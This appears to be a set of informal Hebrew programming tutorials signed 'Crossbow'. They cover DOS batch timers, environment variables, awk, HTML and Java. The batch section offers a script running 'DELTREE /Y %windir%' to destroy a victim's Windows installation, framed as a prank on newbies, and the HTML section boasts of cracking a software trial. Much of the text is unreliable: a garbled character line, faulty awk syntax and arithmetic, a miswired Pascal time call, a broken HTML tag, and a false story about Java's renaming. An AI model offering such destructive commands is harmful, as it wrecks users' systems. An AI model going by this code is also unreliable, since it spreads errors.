**כל האותיות בעברית, מסודרות בטבלה על ידי עבדכם הנאמן... תלחצו על שיפט**

**וקונטרול השמאליים, כדי לראות את זה. האותיות מדורות לפי סדר כרונולוגי:**

**€‚ƒ"…†‡ˆ‰‹''"--˜™"o**

**טוב, האותיות למעלה כוללות גם אותיות סופיות, גם לפי סדר אלפביתי. טוב,**

**עכשיו, אני רוצה להסביר לכם איך לעזאזל עשיתי את זה, כי אני לא רוצה לתת**

**לכם מידע סתם ככה באינפוזייה, בלי שתבינו. אז בואו נראה: הבנתי שכשפותחים**

**את האותיות העבריות בנוטפאד, תוכנה בוינדואוז, הנוטפאד פותח את האותיות**

**באופן לא מתורגם לקי אסקיי. אז עשיתי ככה:**

**1) יצרתי בוינדואוז תיקייה ששמה הוא "אבגדהוזחטיכלמנסעפצקרשתךםןףץ".**

**2) נכנסתי לאם אס דוס לסיפרייה שבה התיקייה שיצרתי נמצאת, ושם כתבתי**

**Dir>>Crossbow.txt**

**יעני, תכתוב בקובץ טקסט חדש את התוכן של הסיפרייה.**

**3) סגרתי את אם אס דוס ופתחתי את הטקסט, ושם היו כתובות כל האותיות באופן**

**לא מתורגם.**

**טוב, אז תהנו עם העברית, למרות שגארדיאן אנג'ל מעדיף אנגלית. חחחחחחחח...**

**סתאאאאאאאאם בצחוק. שלכם,**

**Crossbow**

**BATCH עם TIMER**

**טוב, זה היה קצת מסובך לגלות, אבל אחרי שמגלים משהו קטן, הכל קל מאוד.**

**איזה טמבל הייתי, איזה אידיוט! התשובה הייתה שם כל הזמן... כל מה שהייתי**

**צריך זאת תאונה קטנה כדי לגרום להרצה להתרחש. כל כך קטן, כל כך פשוט, כל**

**כך קומפקטי, עד שזה פשוט גומר לי את השכל איך לא עשו את זה קודם... אז**

**הנה הקוד של הטיימר, ובסופו יש כמובן הסברים. לחצו כמובן על קונטרול וגם**

**על שיפט כדי לראות נכון את הקוד:**

**ECHO OFF**

**CLS**

**:Tmr**

**TYPE NUL | CHOICE.COM /N /CY /TY,1 >NUL**

**ECHO It works!!!**

**GOTO Tmr**

**הסברים**

**ECHO OFF: הופך את כל הטקסט של המשתמש והקובץ לבלתי נראה.**

**CLS: מנקה את המסך.**

**Tmr: זה בעצם סימון של שורה, שאליה נחזור אחר כך.**

**TYPE NUL | CHOICE.COM /N /CY /TY,1 >NUL: זה העיקוב. הסבר עליו אחר כך.**

**ECHO It works: זה הקוד של הטיימר. כמובן שאפשר לרשום הרבה שורות.**

**GOTO Tmr: פה אנחנו חוזרים לשורה שסומנה מקודם, השורה השלישית.**

**כל מה שיבוא בין העיקוב לבין המילים GOTO Tmr בעצם יהיה הקוד הפנימי של**

**הטיימר. עכשיו נעבוד על התדירות של הטיימר, האינטרוואל.**

**קצת על העיקוב הזה**

**טוב, רואים בקוד את השורה הארוכה הזאת? מה היא אומרת? טוב, היא משתמשת**

**בקובץ של מערכת אם אס דוס שנקרא CHOICE.COM, שבעצם אחראי על בחירה פנימית**

**של המשתמש וכאלה. לדוגמא, נסו לכתוב בחלון אם אס דוס את המילה Choice ואז**

**ללחוץ על אנטר, ותראו מה ייקרה. טוב, מה שהולך פה הוא בעצם עיקוב מערכת,**

**נקרא באנגלית Delay, יעני, המערכת מחכה לתגובה מהמשתמש. פה יש אפשרות של**

**לחכות למשתמש בזמן מסויים, יעני, המערכת לא מגיבה במשך כמה שניות. טוב,**

**הנה ההסברים שאתם צריכים לדעת על העיקוב:**

**TYPE: בעצם בודק תוכן טקסט של קובץ חיצוני מהמערכת פנימה לזיכרון.**

**NUL: זאת בעצם מקבלת את כל האינפורמצייה ומאבדת אותה.**

**CHOICE.COM: ציון הקובץ שבו אנחנו משתמשים.**

**תיכנות התדירות, Intervaling:**

**טוב, אינטרוול זה פעם בכמה זמן הטיימר יעבוד שוב. אז זה הולך ככה. זוכרים**

**את העיקוב שעשינו? רואים איפשהו בשורה הזאת את המספר אחד? עכשיו, זה אומר**

**שפעם בכל שניה הטיימר יחזור על עצמו. עכשיו, אם נשים את המספר 2, זאת**

**אומרת שהטיימר יעבוד פעם בשתי שניות. התיכנות הזה עובד בדיוק כמו טיימר**

**ברוב שפות התיכנות הידועות. קחו לדוגמא את ויזואל בייסיק: כמה שהאינטרוול**

**יותר גדול, ככה הטיימר יותר איטי, חוץ ממקרה מיוחד, שהאינטרוול הוא אפס,**

**ואז כל הטיימר בכלל לא עובד. טוב, גם פה בקובץ האצווה, כמה שהאינטרוול**

**גדול יותר, ככה הטיימר איטי יותר, וכאשר האינטרוול הוא אפס, הטיימר לא**

**יעבוד.**

**יאללה, מגיעה לכם מתנה לפעמים...**

**בניתי לכם תוכנה מהירה וטובה בפסקל, שפשוט רושמת את זמן המערכת העכשווי,**

**שלי לשאול שאלות. אז, הנה הנחיות ליצירת שעון משלכם בקובץ אצווה:**

**1) קחו את הקובץ TimeNow.exe.**

**2) שימו אותו בתיקיית C:\Windows, יעני התיקייה המזוהה.**

**3) תיכתבו את הקוד שכתבתי מתחת בתוך קובץ אצווה.**

**4) תשמרו ותריצו.**

**5) לכל מי שרוצה יש גם את הקוד מקור של התוכנה בפסקל...**

**הקוד שצריך לכתוב בקובץ האצווה**

**טוב, תלחצו קונטרול ושיפט:**

**ECHO OFF**

**CLS**

**:Tmr**

**TYPE NUL | CHOICE.COM /N /CY /TY,1 >NUL**

**CLS**

**CALL TimeNow**

**GOTO Tmr**

**הקוד מקור של השעון, גם ככה זה סתם דבר שבניתי בחצי דקה...**

**טוב, תלחצו קונטרול ושיפט:**

**PROGRAM TimeNow; {Made by Crossbow}**

**USES Dos; {Wer'e using Dos.tpu}**

**VAR {Variables}**

**CurS, CurM, CurH, CurMs:word; {Second, Minute, Hour, Milisecond}**

**BEGIN {Program's body}**

**CurMs := 0; {Miliseconds are ziro}**

**GetTime(CurS, CurM, CurH, CurMs); {Getting the system's time}**

**WriteLn (CurS, ':', CurM, ':', CurH); {Writing variables}**

**END. {That's it folks!}**

**טוב, אז יאללה, תהנו אחים שלי,**

**Crossbow**

**משתנים מתקדמים ב BATCH**

**היום אנחנו הולכים לנגוע קצת במשתנים מתקדמים בתוך מערכת אם אס דוס.**

**אנחנו נלמד על תחביר חדש, ומאפיינים מתקדמים בתוך קבצי אצווה.**

**הבנה של משתנים מיוחדים**

**הרעיון עצמו פשוט מאוד: ישנם כמה משתנים שמאותחלים באופן תמידי בתוך**

**הקובץ Autoexec.bat, כאשר המערכת מאותחלת. המשתנים האלה מאפשרים למערכת**

**Ms - Dos ולמערכת Windows לתקשר עם ברירות מחדל מסויימות. כנסו לאם אס**

**דוס, כתבו set ולחצו אנטר. הפלט יהיה כל המשתנים המיוחדים פלוס הערכים**

**שלהם. עכשיו אני אתן כאן הסבר לכמה משתנים מיוחדים:**

**TMP**

**תיקיית הקבצים הזמניים, Temporary. בדרך כלל (כתלות במיקום שבו התקינו את**

**מערכת Windows) הערך שלו הוא C:\Windows\Temp. משתנה TMP משומש בעיקר**

**בתוך Windows, אבל במערכת Ms - Dos המקורית אין לו שימוש. משתנה TMP**

**מיוצג לעיתים גם בשם TEMP, יכול להיות שיהיו לכם את שניהם, יכול להיות רק**

**אחד מהם.**

**PROMPT**

**מצב הפרומפט. הפרומפט הוא מה שכתוב לפני שורת הפקודה. אפשר לשנות את**

**הפרומפט על ידי שימוש פשוט בפקודה Prompt. אני ממליץ להשתמש בפרמטר העזרה**

**שהוט סלאש ואחריו סימן שאלה. ברירת המחדל של PROMPT הוא: $p$g. עכשיו,**

**$p פירושו המיקום Path הנוכחי. $g פירושו סוגר משולש כזה: <. לגבי p$**

**השימוש ברור אבל לגבי $g אני אתן הסבר: הסימן < בתוך אם אס דוס הוא גם**

**סימן של פלט לתוך קובץ. לדוגמא, נסו לרשום dir > fuck.txt ותראו מה קורה.**

**פרומפט משומש בתוך Ms - Dos, ואין לו קשר למערכות Windows. בקיצר, פרומפט**

**מתאים לשורת פקודה בלבד.**

**winbootdir**

**מיקום תיקיית Windows. בדרך כלל הערך של המשתנה הזה יהיה C:\Windows.**

**משמש למערכת Windows כמובן. כמו במשתנה TMP, גם לו יש מקביל שנקרא**

**windir. שוב, לא נורא אם אין לכם את שניהם.**

**PATH**

**משמש לשתי המערכות, גם Windows וגם Ms - Dos. הרעיון של Path הוא הפעלה**

**מכל מיקום, תיקיות ברירת מחדל. לדוגמא, נסו להכנס למערכת Ms - Dos ולכתוב**

**בה Calc וללחוץ אנטר. הרעיון הוא שלפני שהמערכת בודקת אם יש קובץ הרצה**

**בשם Calc במיקום הנוכחי, היא בודקת את תיקיות ברירת המחדל שהן בדרך כלל**

**התיקייה שבה מותקן Windows, והתיקייה שבה מותקן Ms - Dos. אותו עקרון**

**במערכת Windows: נסו ללחוץ על "התחל", "הפעלה", לרשום את המילה calc**

**וללחוץ אנטר, ואז לראות מה קורה.**

**COMSPEC**

**משמש את מערכת Ms - Dos. משתנה זה חשוב מאוד, כי הוא מייצג את הקשר בין**

**הגרעין לשורת הפקודה. הערך שלו יהיה תמיד איפה שהגרעין נמצא, בדרך כלל**

**זה יהיה C:\Windows\Command\Command.com.**

**BLASTER**

**כתובת הסאונד בלסטר שלכם בתוך הזיכרון. מאפשר השמעת צלילים תחת Windows**

**או Ms - Dos, בעיקר תחת Ms - Dos. אני מציע לכם לא לשנות את משתנה**

**BLASTER שלכם, אלא אם כן אתם מוכנים לוותר על השמעת צלילים שלא יוצאים**

**מתוך Internal Speaker.**

**עבודה ראשונה עם משתנים מיוחדים**

**טוב, הרעיון עצמו מאוד פשוט. כל משתנה ייכתב בין שני סימני אחוזים: %.**

**אפשר לשלב את המשתנים המיוחדים בכל תחביר של כל פקודה. בואו נבנה קובץ**

**אצווה, שיציג לנו את התיקייה שבה מותקן Windows, ואחרי זה דופק לנו איזה**

**משפט נחמד גם. הנה קוד המקור:**

**ECHO OFF**

**CLS**

**ECHO Checking for Windows folder in your system.**

**ECHO Shit!!! Windows exists: %windir%.**

**ECHO Please delete this folder: %windir%, Ok?**

**הסברים**

**טוב, שורה ראשונה מעלימה את פקודות קובץ האצווה מעיניו של המשתמש. שורה**

**שנייה מנקה את המסך. שורה שלישית מציגה פלט סטנדרטי, בלי שום דברים**

**מיוחדים. שורה רביעית דופקת לנו פה פלט שמשולב עם המשתנה %windir%. גם**

**בשורה חמישית יש לנו פלט משולב עם משתנה. אפשר ליצור דברים קצת יותר**

**דינאמיים גם, למשל, בקובץ האצווה הקודם הייתי נחמד וביקשתי מהמשתמש להעיף**

**את מערכת Windows, אבל הייתי יכול להיות קצת יותר מניאק ולעשות את העבודה**

**הזאת בעצמי, ככה:**

**ECHO OFF**

**CLS**

**ECHO I don't need you to delete Windows...**

**ECHO I can do it myself!!!**

**DELTREE /Y %windir%**

**ECHO Yeah!!!**

**מילים לסיום**

**אין לי הרבה מה להגיד כאן. הטקסט הזה היה בסך הכל למתחילים ולכאלה**

**שמתעניינים בשיטות להתעלל בניובאייז ובאיך לעזאזל בנויה מערכת שורת פקודה**

**כמו Ms - Dos. אני בכל זאת מקווה שנהנתם. שלכם,**

**Crossbow**

**AWK**

**אחרי ששאלתי לא מעט אנשים, וגם לא מעט אנשים שאלו אותי, אני סוף סוף עושה**

**טקסט על אחת השפות הלא מוכרות שיש: שפת Awk. שפת Awk היא שפת התיכנות**

**הסטנדרטית של מערכות Posix, ולינוקס משתמשת בגרסא של גנו לשפת Awk.**

**בשורת הפקודה של שפת Awk, אתם תצטרכו לציין תוכנה שאתם רוצים להפעיל, ע"י**

**הקלדתה של התוכנה או ע"י הגדרה של שם הקובץ שמכיל אותה. תצטרכו גם לציין**

**קבצים ששפת Awk תבצע עליהם עיבודים. אם אתם מכירים את שפת Awk, אולי אתם**

**יודעים שלשפת Awk ברשיון גנו קוראים גם Gawk, אבל זאת אותה שפה. שם השפה**

**Awk הוא קיצור של השלושה שחיברו אותה: Aho, Kernigan, Weinberger. טוב.**

**תוכנית Awk בנויה מזוג אחד או יותר של תבנית או פעולה. הטקסט בקובץ הקלט**

**מעובד שורה אחרי שורה, תוך כדי חיפוש של התבנית הזאת. לדוגמא, ניקח קובץ**

**ששמו יהיה HackAwk.txt, שמכיל את השורות האלה (קונטרול ושיפט):**

**75 80 Math**

**95 90 Phisics**

**85 95 Gim**

**95 70 Computers**

**80 95 Bible**

**העמודות הראשונה והשנייה (עם המספרים) מציינות את הציון של תלמיד מסויים,**

**ובמקביל את ציונו של תלמיד אחר. העמודה השלישית מציינת את שם המקצוע.**

**השורת תיכנות הבאה תעשה ממוצע של שני התלמידים עבור כל מקצוע. (תלחצו על**

**קונטרול ושיפט):**

**gawk '{ print $3, $1 + $2 / 2 }' HackAwk.txt**

**הסברים**

**מה שיש בין הסוגריים המסולסלים הוא פקודת print, שפירושה הוא להוציא פלט**

**החוצה. הוא מוציא את העמודה השלישית, ובמקביל את החיבור של שני העמודות**

**האחרות חלקי שניים (ממוצע).**

**תנאים בשפה הזאת**

**מי שיודע תיכנות בסיסי, יודע שיש משהו שקוראים לו תנאי, שבעצם מחזיר ערך**

**בוליאני (נכון או לא נכון). יעני, אם התנאי מתקיים, יש ערך נכון, ואם זה**

**לא מתקיים, אז יש ערך לא נכון. ברוב שפות התיכנות הסטנדרטיות הפקודה היא**

**המילה IF, אחריה תנאי, אחריו המילה THEN, ואחריה התוצאה אם התנאי מתקיים.**

**לא כך בשפת Awk. הנה דוגמא, עדיין על הקובץ HackAwk.txt, שבעצם עושה משהו**

**על תנאי מסויים (קונטרול ושיפט):**

**gawk '$1 => 90 { print $3, $1 }' HackAwk.txt**

**התנאי הוא אם התלמיד הראשון קיבל תשעים ומעלה. אם הוא קיבל, הפלט יהיה**

**המקצוע ולידו הציון של התלמיד הראשון. אם הוא לא קיבל מעל שמונים, אז לא**

**יהיה פלט, והתוכנית תדלג על השורה.**

**שימוש בקובץ אצווה**

**אתם יכולים גם ליצור קובץ אצווה מסויים, ואותו תפעילו אחר כך מתוך שורת**

**הפקודה של לינוקס. לדוגמא, תיכנסו לעורך הטקסט שלכם, אני ממליץ להשתמש**

**בעורך קל, כגון Pico או Emacs, ותכתבו את השורה הבאה (קונטרול ושיפט):**

**$1 => 90 { print $3, $1 }**

**אחר כך תשמרו אותו בקובץ ששמו יהיה AwkTry, ואז תצאו לשורת הפקודה במערכת**

**לינוקס. תכנסו למיקום שבו נמצא AwkTry, ואז כיתבו בשורת הפקודה את השורה**

**הבא (קונטרול ושיפט):**

**gawk -f AwkTry AwkHack.txt**

**הסברים**

**טוב, אחרי ששמרנו את הקובץ עם הפקודות בתוכו, אנו קוראים בשורת הפקודה**

**להריץ סקריפט Awk, ואז אנחנו מגדירים להריץ לא סתם סקריפט Awk, אלא קובץ**

**שמכיל סקריפט Awk, ואז את שם הקובץ שמכיל את הסקריפט, ואז את שם הקובץ**

**שאנחנו רוצים לעבד. הפלט שיינתן לנו יהיה אותו פלט כמו מקודם, אבל בקובץ**

**אצווה של סקריפט Awk זה הרבה יותר שימושי ובר ביצוע.**

**תנאי לא מתקיים**

**האמת היא שאין כזה דבר בשפת Awk תנאי שלא מתקיים, כי תנאי שלא מתקיים הוא**

**פשוט לא מראה פלט שלו, אבל אפשר לכתוב בקובץ אצווה של סקריפט Awk שני**

**תנאים. התנאים הם הפוכים (תלחצו קונטרול ושיפט):**

**$1 => 90 { print $3, $1 }**

**$1 < 90 { print $3, "Sorry, it's not good enough" }**

**טוב, זה אומר שאם התלמיד הראשון קיבל תשעים ומעלה, אז הוא כותב את המקצוע**

**ואחריו את הציון, אבל אם הוא קיבל מתחת לתשעים, הוא כותב שבעצם הציון לא**

**טוב מספיק. הי, תמיד הייתי שאפתן, לא?**

**טוב, זה כמובן רק מעט מאוד משפת Awk, השפה הזאת היא שפה עשירה הרבה יותר**

**ממה שאתם חושבים וכוללת לולאות (Loops), אופרטורים נוספים, משתנים, עוד**

**פונקציות ועוד... תנסו לעבוד בינתיים על זה, כי זאת שפה שימושית לאללה!**

**טוב, בי, שלכם,**

**Crossbow**

**HTML**

**דבר ראשון, אני רוצה לעשות הקדשה פה: ההקדשה היא לאתר של סיגל ברוכמן,**

**האתר הכי טוב לתיכנות דפי אינטרנט, שנסגר. חבל, תמיד הכל מתחיל ונגמר**

**איפשהו בתקציב. אני יודע שהאתר של סיגל היה ההתחלה של הרבה מתכנתים. אז**

**עכשיו מתחילה הכתבה, ומי שכבר רוצה ללמוד אז סליחה על הקטע הרגשני הזה.**

**טוב, בזמן האחרון כולם שואלים אותי באייסיקיו מה צריך כדי להיות האקר כמו**

**כל החברים בטייגרס, אז אני אומר שכדאי מאוד ללמוד לתכנת. אז כולם שואלים**

**איזה שפות תיכנות, ואיך אני לומד את זה וכאלה. אז במקום לקחת קורס מטומטם**

**שלא ילמד אותך כמעט כלום במחיר שיגרום לאבא אמא לקחת סכין יפנית ולחתוך**

**משהו בקרבה, אולי אפילו אתכם, עדיף שתקראו את הטקסט הזה. טוב, רק שתדעו**

**שלדעתי הדבר הכי קל וטוב ובסיסי שהאקר צריך לדעת זה תיכנות בשפה חמודה**

**לאללה שנקראת שפת HTML. אני לא זוכר מה ראשי התיבות של זה, אני יודע שיש**

**לזה פירוש, אבל יש לי בעייה בלזכור ראשי תיבות וקיצורים, אז שיהיה. טוב,**

**כל פקודה בשפת HTML רגילה, יעני שלא מעורבת עם סקריפטים וכאלה, תגיע בתוך**

**סוגריים משולשים. כשבנו את השפת תיכנות הזאת, כמו בכל שפת תיכנות, ידעו**

**שהתוכנה תהיה צריכה סימן להתחלת וסיום פקודה, משהו כמו lp בשפת אסמבלר,**

**למי שמבין. בקיצר, אני ממליץ למשתמשים מתחילים להוריד משהו לעריכת דף**

**אינטרנטי, אני ממליץ על Edit Plus. נכון, היא מוגבלת יעני לשלושים יום,**

**אבל פרצתי אותה אחרי עשר דקות, ועשיתי שהתוכנה תחשוב שיש לי עוד חמש מאות**

**יום עד להגבלה. בקיצר, דף אינטרנט ריק ייראה בערך ככה:**

**<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">**

**<HTML>**

**<HEAD>**

**<TITLE> New Document </TITLE>**

**<META NAME="Generator" CONTENT="TheFuckingEditor">**

**<META NAME="Author" CONTENT="">**

**<META NAME="Keywords" CONTENT="">**

**<META NAME="Description" CONTENT="">**

**</HEAD>**

**<BODY>**

**</BODY>**

**</HTML>**

**טוב, כמו שכולכם יודעים, לכל חלון יש כותרת למעלה. עכשיו, כמו ברוב שפות**

**התיכנות המיועדות לוינדואוז, אפשר לשנות את הכותרת. אתם רואים בשורה**

**הרביעית של המסמך החדש שלנו את הסוגריים המשולשות, וביניהם המילה TITLE?**

**טוב, בין שני הפקודות: TITLE וגם /TITLE נמצאות מילים. המילים שכתובות שם**

**עכשיו הן NEW DOCUMENT. אתם יכולים לשנות את זה למה שאתם רוצים. טוב, אני**

**חושב שדי מיצינו את הקטע של הכותרת. עכשיו נבנה בעצמנו משהו. נגיד שאנחנו**

**רוצים לכתוב טקסט רגיל. עושים את זה ככה:**

**<FONT COLOR = "red" SIZE = 24> This Is My First Fucking Page </FONT>**

**טוב, עכשיו קצת הסברים:**

**FONT - מתחיל פקודה שקוראת לתוכנית לכתוב טקסט ולהגדיר פונט.**

**COLOR - צבע הפונט. אפשר להגדיר לפי צבעים רגילים או לפי ערך הקסדימלי.**

**SIZE - גודל הטקסט.**

**</FONT> - סוגר את הפקודה.**

**אוקיי, נסו קצת להתעסק עם פונט. עכשיו נתחיל עם תמונות. דבר ראשון צריך**

**תמונה. תפתחו את הצייר ושרבטו משהו. שלא יהיה ציור גדול מידי מבחינה יותר**

**פיזיקלית, יעני שלא יהיה 10000 פיקסלים, טוב? עכשיו שימו אותו באותה**

**התיקייה שבה אתם רוצים לשמור את הקובץ שלנו. תקראו לו Sex.bmp. דגש חשוב:**

**בדרך כלל לא משתמשים באינטרנט בתמונת מפת סיביות (bmp), כי זה סוג קובץ**

**עם איכות טובה, אבל הוא תופס יותר מדי מקום. בדרך כלל משתמשים בשני סוגים**

**עיקריים: Jpg וגם בסוג Gif. אחרי ששמרתם, תכתבו עכשיו בתוך התיכנות:**

**<IMG SRC = "Sex.bmp>**

**וזהו. זאת פקודה מיוחדת, שבעצם בנוייה בלי סגירה. עכשיו, בואו נשמור את**

**הקובץ. בהנחה שאתם משתמשים בעורך דפי אינטרנט, פשוט תשמרו. עכשיו, בדרך**

**כלל הסיומות של דפי אינטרנט הם html, אבל יש גם htm. לא משנה. פשוט תשמרו**

**את הקובץ שלכם, ותשמרו באותה תיקייה שבה נמצא הציור מקודם. טוב, עכשיו**

**כנסו לתיקייה שבה שמורים קובץ דף האינטרנט והתמונה, ותלחצו פעמיים על דף**

**האינטרנט שלכם. הפלא ופלא! יש תמונה! טוב, עכשיו, בניגוד לשפות תיכנות**

**אחרות, אין לשפה הזאת קימפול וקובץ פרוייקט לחוד, אלא שמירת הקבצים נעשית**

**כבר עם הקימפול, כמו בקבצי אצווה שנשמרים גם בלי קימפול. אז מה זה אומר?**

**זה אומר, שאתם יכולים להכנס לאינטרנט, להוריד איזה דף אינטרנט, ואז לפתוח**

**אותו עם העורך שלכם, ולבדוק מה כל פקודה עושה לחוד. אני ממליץ מאוד על**

**השיטה הזאת, כי פשוט יש יותר מדי פקודות כדי שאני אלמד אתכם. עוד דבר**

**בסיסי בדף אינטרנט הוא קישורים. עכשיו, תשמרו את הדף הקודם, ואז תיצרו**

**דף חדש. בדף החדש אני רוצה שנעשה קישור לדף הקודם ששמרנו. למי שלא יודע,**

**קישור הוא בעצם טקסט שאם לוחצים עליו הדפדפן מבצע פעולה מסויימת. כמו**

**בדפדפן, הקישור יכול להופיע במספר צורות. הנה הצורות שאתם צריכים לדעת:**

**http - דף אינרטנט**

**file - קובץ**

**ftp - תיקיית אינטרנט**

**mailto - הודעת דואר**

**מספיק. עכשיו, בתיכנות של הדף החדש תכתבו משהו כזה:**

**<A HREF = "file://c:/windows/calc.exe"> Calculator </A>**

**אני מקווה שאתם מבינים. אנחנו יצרנו קישור, שהטקסט עליו הוא Calculator,**

**ואם לוחצים על הטקסט הזה נפתח המחשבון של וינדואוז. עכשיו אפשר לעשות את**

**זה אחרת: אם לדף הראשון ששמרנו קוראים Cross.html, אז נכתוב ככה:**

**<A HREF = "Cross.html"> First Page </A>**

**תשמרו את זה בתיקייה איפה שכל הקבצים הקודמים ששמרנו ותריצו את זה. עכשיו**

**אני רוצה לתת לכם כמה טיפים אחרונים לפני סיום הטקסט הזה:**

**1) תורידו קודי מקור ותבדקו מה כל פקודה עושה.**

**2) למי שקצת מבין יותר, אפשר לשלב בדף: ActiveX, JavaScript, VbScript.**

**3) אל תתביישו לשאול: יש לכם את האייסיקיו שלי.**

**אז תתאמנו והרבה, שלכם,**

**Crossbow**

**JAVA**

**היום נלמד על אחת מהשפות החזקות והטובות בעולם: ג'אווה. ג'אווה נחשבת**

**לשפה חזקה מאוד, היכולה לרוץ על כל פלטפורמה בלי שינויים, ויכולה גם לשמש**

**ליצירת אפלטונים אינטראקטיביים בדפי אינטרנט.**

**ג'אווה - רקע היסטורי**

**טוב... ג'אווה פותחה בחברת Sun Microsystems בשנת 1991, כחלק מפרוייקט**

**הנקרא Green Project, שהיה קבוצת מחקר שעבדה על פיתוח תוכנה לשליטה על**

**מוצרים אלקטרוניים. החוקרים רצו לבנות שפת תיכנות, שתוכל להריץ את רוב**

**המכשירים של העתיד - מטלוויזיות אינטראקטיביות ועד לרדיו. החוקרים רצו גם**

**שהמכשירים האלה יוכלו לתקשר אחד עם השני, כלומרֳ, שהטלוויזייה תגיד לטוסטר**

**להגיד לך שעכשיו משודרת התוכנית "ג'וני בראבו". כדי ליישם את המחקר שלהם,**

**פיתחו החוקרים אב טיפוס ראשון שנקרא Star7, שהיה דומה לשלט רחוק, שיכול**

**לתקשר עם אחרים כמוהו. הרעיון המקורי היה לתכנת את Star7 בשפת Cpp (סי**

**פלוס פלוס). אבל לחבר מצוות הפיתוח ששמו ג'יימס גוסלינג נמאס מדרך הפעולה**

**של סי פלוס פלוס, ולכן כתב שפה חדשה. השפה נקראה בשם Oak. מאוחר יותר,**

**חברת סאן גילתה שישנה כבר שפה שנקראת Oak, או יותר נכון Awk (שנהיגת אותו**

**דבר), ולכן שינו את שמה לג'אווה.**

**ג'אווה - איך זה עובד?**

**ג'אווה אינה תלויה בפלטפורמה. עובדה זו הופכת את ג'אווה לאחת מןֳ השפות**

**החזקות ביותר. תוכנית ג'אווה יכולה לרוץ על Windows, Linux, או כל מערכת**

**הפעלה אחרת, בלי שינוי קוד התוכנית. איך זה ייתכן? בשביל זה נשווה את שפת**

**ג'אווה עם שפה אחרת, למשל, סי פלוס פלוס. כאשר אנחנו מקמפלים תוכנית אשר**

**נכתבה בשפת סי פלוס פלוס, קוד המקורשל התוכנית הופך לקוד מכונה. עכשיו,**

**אם כתבת תוכנית על מחשב עם מעבד Macintosh, היא לא תוכל לרוץ על מחשב עם**

**מעבד Intel, ולהפך. בתיאורייה, אם תרצה להריץ את התוכנית שכתבת על מחשב**

**עם מעבד Macintosh, תהיה חייב לשנות את קוד המכונה כך שמעבד Intel יבין**

**אותו. כך קורה בשפות אחרות, כדוגמת סי, סי פלוס פלוס, או בייסיק למשל.**

**בהרבה מקרים תהיו חייבים גם לשנות את קוד המקור של התוכנית. תוכנית לא**

**נקראת בקוד מכונה, אלא במכונה וירטואלית. המכונה הוירטואלית קוראת תוכנית**

**ג'אווה ומתרגמת את מה שכתוב בתוכנית הג'אווה, פקודה אחר פקודה, לפקודות,**

**שמערכת ההפעלה תבין. פקודות אלה בנויות בפורמט שנקרא Bytecode, יכולות**

**לרוץ על כל פלטפורמה שבה מכונה וירטואלית. מכאן, אפשר להבין שמכונה**

**וירטואלית על Windows תהיה שונה ממכונה וירטואלית על Unix, אך התוצאה**

**תהיה כמעט זהה. החסרון הגדול בשיטה זו, הוא שיישומי ג'אווה רצים לאט יותר**

**מתוכנית שקומפלה ישירות לקוד מכונה. אך גם בזה אפשר לטפל, וכיום קיימות**

**תוכנות שהופכות Bytecode של ג'אווה לקוד מכונה מקומי, כך שהתוכנית תרוץ**

**מהר יותר, והביצועים יהיו טובים יותר. ג'אווה, היא שפת תיכנות מונחית**

**אובייקטים (OOP - Object Oriented Programing), ובגלל זה השימוש בה קל.**

**ד"א, הערה חשובה מאוד, לאלה שחושבים שכן, אז לא, ג'אווה לא דומה אפילו**

**לג'אווה סקריפט, ואסור אף פעם לבלבל ביניהם. בקיצר, בשביל להתנסות קצת**

**בג'אווה אתם תצטרכו מספר דברים:**

**1) מכונה וירטואלית עבור ג'אווה (המלצה על JDK).**

**2) קומפיילר של ג'אווה (המלצה על (JBuilder Compiler).**

**3) רצוי גם עורך ג'אווה (המלצה על JBuilder Editor).**

**גרסאות שונות של ג'אווה כיום הם כחלק מפרוייקט גנו (GNU), המציג תוכנות**

**ועזרים בחינם ועם קוד מקור פתוח, כך שאפשר להשיג מכונה וירטואלית, עורך**

**וקומפיילר בחינם ובאופן חוקי.**

**בניית התוכנית הראשונה שלנו**

**טוב, בואו נתחיל. לפני שנתחיל מספר דברים חשובים. יש לשמור את כל קבצי**

**המקור של תוכנית בג'אווה בסיומת java. כל הקבצים המקומפלים של תוכנית של**

**ג'אווה בעלי סיומת class (בניגוד לקבצי הרצה רגילים). כל קבצי קוד המקור**

**נשמרים כקובצי טקסט פשוט, כלומר, תוכלו לערוך אותם באמצעות כל עורך טקסט**

**רגיל, כגון Notepad של וינדוס, Edit של דוס, או Emacs של לינוקס. בכל זאת**

**עדיף שיהיה לך עורך טוב של ג'אווה. העורך של JBuilder מצוייד במזהה של**

**פקודות מוכרות, והממשק שלו דומה לממשק של החלק של קוד המקור בשפה הידועה**

**ויזואל בייסיק. מתכנתי סי פלוס פלוס מנוסים יוכלו לדלג על כמה דברים פה,**

**או שיקבלו אותם בתור חזרה על השפה. טוב, פה ועכשיו יוצג לכם קוד בסיסי**

**ופשוט מאוד בג'אווה, ואחריו הסברים:**

**class Whatsup {**

**public static void main(String[] arguments) {**

**System.out.println("How do you do, Crossbow?");**

**}**

**}**

**הסברים**

**טוב, בהתחלה יש לנו הצהרה על מחלקה חדשה, ששמה הוא Whatsup, ואחרי השם של**

**המחלקה סוגריים מסולסלים. כל מה שיהיה בין הסוגריים האלה שייך למחלקה.**

**שורה אחר כך יש לנו הצהרה על פונקציית Main, כמו בסי. לאחר מכן יש לנו**

**הוצאת טקסט (System.out.println). ואחריה פתיחה של סוגריים רגילים. כל מה**

**שיהיה בין הסוגריים הרגילים יוצג כפלט על המסך. כרגע נשתמש במרכאות שיהיו**

**בתוך הסוגריים הרגילות, אבל בעתיד נוכל לשלב טקסט רגיל (בין מרכאות), יחד**

**עם משתנים (Variables), שלא יוקפו במרכאות. לאחר שסיימת להעתיק את קוד**

**המקור של התוכנית, שמור את התוכנית בשם Whatsup.java, וצא מהעורך. עכשיו,**

**קמפל את הקובץ הזה. צריך להווצר לך קובץ class. עכשיו, הפעל את הקובץ**

**שעכשיו קימפלת, בעזרת המכ9ונה הוירטואלית שצריכה להיות מותקנת אצלך. אם**

**אתה עובד תחת Windows, תצטרך להריץ את הקובץ דרך דוס, אם אתה עובד תחת**

**Linux, תצטרך להריץ אותו מהטרמינל, או בקיצר, תצטרך להריץ את הקובץ דרך**

**ממשק לא גרפי, דרך ממשק שורת פקודה. דרך אגב, בדוס, למשל, וודא כי אתה**

**מריץ את הקובץ בשמו המלא, כי בדוס קובץ שנקרא CrossCool.class ייקרא בדוס**

**בשמו המקוצר: CrossC~1.cla, אך המכונה הוירטואלית מזהה שמות מלאים בלבד.**

**אם עשית עד עכשיו הכל כמו שצריך, אתה אמור לקבל פלט על מסך הטרמינל שלך,**

